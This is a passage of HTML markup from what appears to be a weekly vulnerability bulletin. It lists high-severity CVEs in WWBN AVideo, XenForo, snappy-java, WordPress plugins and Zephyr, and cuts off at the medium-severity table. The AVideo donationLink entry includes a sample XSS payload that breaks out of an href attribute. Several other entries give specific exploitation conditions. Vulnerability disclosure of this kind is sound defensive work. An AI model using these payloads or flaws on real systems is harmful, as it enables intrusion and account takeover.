&lt;td&gt;WWBN AVideo, in versions up to and including commit c3edcc274c389816d434acadac07ee78eaf330c1, contains a stored cross-site scripting vulnerability. objects/categoryAddNew.json.php passes the POST parameters `name` and `iconClass` to Category::setName() and Category::setIconClass(), which store the values without sanitization (setName only truncates to 45 characters). The category name is later echoed as HTML text and iconClass is echoed into a class attribute in view/modeYoutubeBottom.php and in Gallery cards (plugin/Gallery/functions.php). When the CustomizeUser option usersCanCreateNewCategories is enabled, any authenticated user with canUpload permission (granted by default via self-registration) can create a category containing a JavaScript payload; the payload then executes in the browser of any visitor, including administrators, who views a watch page or gallery entry for a video assigned to that category, allowing actions such as authenticated requests with the victim&#039;s session. The issue was unpatched at the time of reporting.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88867&quot; target=&quot;_blank&quot;&gt;CVE-2026-88867&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the LiveLinks plugin where title and description fields are stored without sanitization. A user with canStream permission can inject malicious scripts that execute in the browser of every visitor viewing the live-link page, including administrators, within the site origin.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88868&quot; target=&quot;_blank&quot;&gt;CVE-2026-88868&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in UserGroups::setGroup_name() that fails to sanitize group_name input. Administrators with canAdminUserGroups permission can inject malicious HTML and JavaScript that executes in the browser when other administrators access the user manager interface.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89243&quot; target=&quot;_blank&quot;&gt;CVE-2026-89243&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the YPTWallet plugin where user-supplied CryptoWallet values are base64-encoded but not HTML-escaped before storage in wallet_log.information. Administrators viewing pending withdrawal requests in pendingRequests.php execute the stored markup in their session, allowing attackers to perform administrative actions via same-origin fetch requests.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89249&quot; target=&quot;_blank&quot;&gt;CVE-2026-89249&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the user &#039;donationLink&#039; profile field. User::setDonationLink() (objects/user.php) stores the value and save() validates it only with filter_var(..., FILTER_VALIDATE_URL), which accepts strings such as http://evil.example/&quot;onmouseover=alert(document.domain)//, while getDonationLink() applies only strip_tags() and does not encode double quotes. plugin/CustomizeUser/actionButton.php echoes the value unencoded into an &amp;lt;a href=&quot;...&quot;&amp;gt; attribute, and that button is included from view/modeYoutubeBottom.php on the watch page when the CustomizeUser option allowDonationLink is enabled. An authenticated user who updates their own profile via objects/userUpdate.json.php can therefore break out of the href attribute and inject an event handler that executes JavaScript in the browser of any visitor-including an administrator-who views the attacker&#039;s videos and interacts with (for example, hovers over) the donation button. The issue was unfixed at the time of reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89253&quot; target=&quot;_blank&quot;&gt;CVE-2026-89253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the CustomizeUser plugin where the field_name parameter is stored raw without sanitization. Administrators can inject malicious scripts via the add.json.php endpoint that execute when viewing extra info pages or profile forms that render the typeToHTML function.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89254&quot; target=&quot;_blank&quot;&gt;CVE-2026-89254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the LoginControl plugin that fails to HTML-encode PGP public keys echoed into a textarea element. An authenticated attacker can inject malicious JavaScript by submitting a crafted public key, which executes in an administrator&#039;s session when viewing the user&#039;s profile tab.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89255&quot; target=&quot;_blank&quot;&gt;CVE-2026-89255&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the Bookmark plugin where chapter names are not encoded before being concatenated into public watch-page HTML. A video owner can inject malicious scripts via the bookmark name parameter, and every visitor of that video executes the payload in the AVideo origin.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89256&quot; target=&quot;_blank&quot;&gt;CVE-2026-89256&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a missing authorization vulnerability in plugin/Scheduler/sendEmail.json.php that allows unauthenticated attackers to access scheduler email jobs by providing a site-wide daily token. Attackers can enumerate scheduler jobs, read private live titles and email addresses, and trigger email sending by supplying any valid daily token obtained from Live pages.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90537&quot; target=&quot;_blank&quot;&gt;CVE-2026-90537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site request forgery vulnerability in deleteHistory.json.php and finishAll.json.php that allows unauthenticated attackers to mutate live history by making GET requests without CSRF token validation. Attackers can craft malicious pages that trigger administrator browsers to delete all live transmission history or mark streams as finished when an admin visits the attacker-controlled site.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86718&quot; target=&quot;_blank&quot;&gt;CVE-2026-86718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c contains an authorization bypass vulnerability where a session cookie named &#039;key&#039; with value &#039;value&#039; overrides the $_REQUEST[&#039;key&#039;] parameter in saveLive.php and related endpoints. Attackers can publish to any user&#039;s RTMP stream without authentication by using the known constant stream key value to hijack live broadcasts.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86721&quot; target=&quot;_blank&quot;&gt;CVE-2026-86721&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through c3edcc274c389816d434acadac07ee78eaf330c1 contains a missing authorization vulnerability in the SocialMediaPublisher plugin&#039;s add.json.php endpoint that allows authenticated users to modify other users&#039; OAuth token records. Attackers can supply arbitrary row IDs to overwrite another user&#039;s stored access_token and refresh_token, then delete the compromised record to destroy the victim&#039;s provider linkage.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86725&quot; target=&quot;_blank&quot;&gt;CVE-2026-86725&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through 29.0 contains an information disclosure vulnerability in plugin/Live/stats.json.php that allows unauthenticated attackers to retrieve stream keys and m3u8 URLs by accessing the endpoint without authentication. Attackers can enumerate private, unlisted, and group-restricted live streams by parsing the hidden_applications array in the JSON response to obtain sensitive streaming credentials.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86727&quot; target=&quot;_blank&quot;&gt;CVE-2026-86727&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through 29.0 contains an authentication bypass vulnerability in plugin/PlayLists/epg.json.php that exposes live-stream keys and private EPG schedules to unauthenticated users. Attackers can request the endpoint with sequential user or playlist IDs to retrieve sensitive credentials, server identifiers, and complete programme schedules without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86728&quot; target=&quot;_blank&quot;&gt;CVE-2026-86728&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit e01e41ecc (no patched version available) exposes get_api_preauthorize in plugin/API/API.php as a second, undocumented login path. Unlike get_api_signIn, which enforces a rate limit of 10 attempts per 5 minutes via checkRateLimit(), get_api_preauthorize performs the same credential check with no throttling for any client, allowing unlimited remote password guessing against arbitrary accounts, including admin. The endpoint also acts as a credential oracle: it returns the message &quot;Invalid credentials&quot; for both correct and incorrect passwords, while the users_id field in the response body discloses the authenticated identity (users_id:1 on success, users_id:0 on failure), and a correct password establishes a session cookie that remains usable for authenticated API requests. Together these issues permit unauthenticated brute-force account takeover.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86729&quot; target=&quot;_blank&quot;&gt;CVE-2026-86729&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site request forgery vulnerability in the LoginControl plugin PGP key endpoints that lack CSRF token validation. Attackers can craft malicious pages with image tags pointing to savePublicKey.json.php to replace a logged-in victim&#039;s PGP 2FA public key, causing lockout or enabling account takeover if the attacker knows the password.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88870&quot; target=&quot;_blank&quot;&gt;CVE-2026-88870&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site request forgery vulnerability in the setPassword.json.php endpoint that allows unauthenticated attackers to modify any user&#039;s channel password by sending a GET request. Attackers can craft a malicious webpage that, when visited by an authenticated administrator, sets or clears any user&#039;s channel password without CSRF token validation.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88872&quot; target=&quot;_blank&quot;&gt;CVE-2026-88872&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site request forgery vulnerability in view/logArchive.json.php that allows unauthenticated attackers to archive application logs by making GET requests without CSRF token validation. Attackers can craft malicious pages that trigger administrators&#039; browsers to request the endpoint, copying sensitive application logs to a publicly accessible zip file and truncating the live log to remove forensic evidence.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88873&quot; target=&quot;_blank&quot;&gt;CVE-2026-88873&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through revision c3edcc274c389816d434acadac07ee78eaf330c1 (master, 2026-08-23) does not enforce the Live stream password check on the stats endpoint or on the HLS origin. Live::_getStats() (plugin/Live/Live.php) returns a password-protected transmission&#039;s RTMP stream key, its isPasswordProtected flag, and its HLS (m3u8) URL to unauthenticated callers, in both the public applications list and the hidden_applications branch used when canSeeLiveFromLiveKey() fails. Separately, the shipped NGINX configuration (deploy/nginx/nginx.conf) serves the .m3u8 playlist, the AES-128 key, and the transport-stream segments from the /live location without any auth_request (the auth_key_check directive in the .key location is commented out). A remote, unauthenticated attacker can therefore retrieve the stream key and decryption key and watch a password-protected live transmission without supplying the configured password. No patched version was available at the time of the advisory.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88874&quot; target=&quot;_blank&quot;&gt;CVE-2026-88874&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through revision c3edcc274c389816d434acadac07ee78eaf330c1 contains a missing authorization vulnerability in plugin/PlayerSkins/seo.php that allows unauthenticated attackers to access password-protected video sources by calling getSources() without password validation. Attackers can request the seo.php endpoint with a video ID to obtain the direct MP4 URL and read protected media bytes without supplying the configured password.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88876&quot; target=&quot;_blank&quot;&gt;CVE-2026-88876&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a server-side request forgery vulnerability in the _json_decode function that fetches remote URLs and local file paths without SSRF validation. Unauthenticated attackers can POST file paths or HTTP URLs to login.json.php to read local files or access internal services, with results parsed as login credentials.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89242&quot; target=&quot;_blank&quot;&gt;CVE-2026-89242&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains an unauthenticated file read vulnerability in the getRecordedFile.php endpoint that streams recorded FLV files from the temporary directory. Attackers can request the endpoint with a known or guessed stream key to download recorded live video files without authentication or authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89250&quot; target=&quot;_blank&quot;&gt;CVE-2026-89250&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains a server-side request forgery vulnerability in the PayPal REST webhook handler that allows unauthenticated attackers to cause the server to make outbound HTTP requests to arbitrary destinations by supplying a crafted certificate URL in webhook headers without scheme, hostname, or allowlist validation. Attackers can submit a crafted POST to the PayPal webhook callback endpoint to reach internal network resources including cloud instance metadata services, potentially disclosing IAM credentials or enabling secondary internal service exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73315&quot; target=&quot;_blank&quot;&gt;CVE-2026-73315&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains an authentication bypass vulnerability in the OAuth2 token endpoint that allows unauthenticated attackers to obtain valid token pairs by submitting empty values for client_secret and code_verifier parameters. Attackers can exploit PHP truthy evaluation logic, which treats empty strings as false and skips client secret validation and PKCE code verifier validation, to exchange a valid authorization code for a token pair without proving client identity or holding the PKCE commitment.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73309&quot; target=&quot;_blank&quot;&gt;CVE-2026-73309&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains an OAuth2 authorization code reuse vulnerability that allows attackers to obtain unauthorized token pairs by submitting a previously used authorization code. Attackers can exploit the failure to invalidate or mark authorization codes as consumed after initial token issuance to receive an independent token pair for the same user and scopes, bypassing the single-use guarantee of the OAuth2 authorization code flow.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73311&quot; target=&quot;_blank&quot;&gt;CVE-2026-73311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains a refresh token replay vulnerability that allows attackers to reuse a refresh token multiple times by exploiting the failure to mark tokens as consumed when the parent access token has expired. Attackers can repeatedly submit the same refresh token to generate additional independent token pairs, achieving persistent unauthorized access for the token&#039;s full lifetime.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73312&quot; target=&quot;_blank&quot;&gt;CVE-2026-73312&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains a signature verification logic error in the PayPal REST webhook handler that allows unauthenticated attackers to bypass payment signature validation by submitting a webhook request with an unsupported auth_algo header value. When the algorithm cannot be mapped to a supported hash function, the verification function incorrectly returns true instead of failing, causing the caller to treat the fabricated request as verified and process the payment event without a valid PayPal signature.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73314&quot; target=&quot;_blank&quot;&gt;CVE-2026-73314&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains a payment replay vulnerability in the PayPal REST payment provider that allows attackers to process the same webhook payload multiple times by exploiting a missing duplicate transaction ID check. Attackers can replay a valid webhook payload to trigger duplicate payment events, resulting in repeated subscription activations and unauthorized account upgrades.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73316&quot; target=&quot;_blank&quot;&gt;CVE-2026-73316&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains a path traversal vulnerability in the style archive importer on Windows deployments that allows authenticated non-super administrators with style permissions to write arbitrary files outside the intended extraction directory by using backslash-based traversal sequences in ZIP member names. Attackers can craft a malicious ZIP archive with backslash path separators that bypass forward-slash validation to write arbitrary bytes to any web-server-writable path, including the public web root, achieving persistent code execution as the web-server account.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74239&quot; target=&quot;_blank&quot;&gt;CVE-2026-74239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;xerial--snappy-java&lt;/td&gt;
&lt;td&gt;snappy-java through 1.1.10.8 contains an out-of-bounds write vulnerability in Snappy.uncompress(ByteBuffer, ByteBuffer) because destination buffer capacity is never validated against decompressed size. Attackers can supply valid compressed data that decompresses larger than the destination buffer, causing writes past buffer boundaries and JVM termination.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90559&quot; target=&quot;_blank&quot;&gt;CVE-2026-90559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yith--YITH WooCommerce Waitlist Premium&lt;/td&gt;
&lt;td&gt;The YITH WooCommerce Waitlist Premium plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 3.35.0. This is due to the add_user_in_waiting_list() function registered on the wp_ajax_yith_wcwtl_add_user action being missing both a capability check and a nonce verification, and using parse_str() + extract() to import attacker-controlled variables from $_POST[&#039;params&#039;] that are then passed to wp_create_user() and $user-&amp;gt;set_role(). This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator by creating a new user account and assigning it the administrator role.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14359&quot; target=&quot;_blank&quot;&gt;CVE-2026-14359&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YouTube Embed--YouTube Embed&lt;/td&gt;
&lt;td&gt;The YouTube Embed WordPress plugin from 10.0 to 10.3 does not perform any authorisation check on one of its AJAX actions, relying only on a nonce it prints on every front-end page, and does not escape the stored data before rendering it, allowing unauthenticated attackers to store arbitrary web scripts which will execute in the session of any user viewing the affected content, including an administrator.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88793&quot; target=&quot;_blank&quot;&gt;CVE-2026-88793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zain Hassan--ZHBackup Backup, Restore &amp;amp; Migration&lt;/td&gt;
&lt;td&gt;Unauthenticated Sensitive Data Exposure in ZHBackup - Backup, Restore &amp;amp;amp; Migration &amp;lt;= 2.4.2 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81804&quot; target=&quot;_blank&quot;&gt;CVE-2026-81804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The MQTT-SN client keepalive handler process_ping() in subsys/net/lib/mqtt_sn/mqtt_sn.c removes the gateway record after PINGREQ retries are exhausted. It invoked SYS_SLIST_PEEK_HEAD_CONTAINER(&amp;amp;client-&amp;gt;gateways, gw, next) but discarded the result. That macro is a pure expression that does not assign to gw, so gw retained its NULL initializer regardless of the list contents. The code then dereferences the NULL gw (gw-&amp;gt;gw_id) and passes it to mqtt_sn_gw_destroy(), reaching k_mem_slab_free(&amp;amp;gateways, NULL). With CONFIG_MEM_SLAB_POINTER_VALIDATE enabled this triggers k_panic(); in the default configuration it performs a write through the NULL pointer ((char )mem = slab-&amp;gt;free_list;) and corrupts the slab free list. The outcome is a crash/kernel panic or, on targets where address 0 is writable, silent memory-allocator corruption. The vulnerable branch runs whenever the connected MQTT-SN gateway fails to answer keepalive PINGREQs for the configured number of retries. This condition is controlled by the remote peer: a malicious or compromised gateway, or an on-path/adjacent attacker that advertises itself as a gateway and then stops responding (or blackholes the real gateway&#039;s PINGRESPs), forces the client into the defect. MQTT-SN runs over UDP and no authentication is required. The impact is a remotely triggerable denial of service (availability) of the affected MQTT-SN client; there is no attacker-controlled data written. The sibling remover process_advertise() uses SYS_SLIST_FOR_EACH_CONTAINER_SAFE and is not affected. The fix assigns the macro&#039;s return value to gw.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15891&quot; target=&quot;_blank&quot;&gt;CVE-2026-15891&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&quot;#top&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;medium_v&quot;&gt;
&lt;h2 id=&quot;medium_v_title&quot;&gt;Medium Vulnerabilities&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; border=&quot;1&quot; summary=&quot;Medium Vulnerabilities&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;10up--ElasticPress&lt;/td&gt;
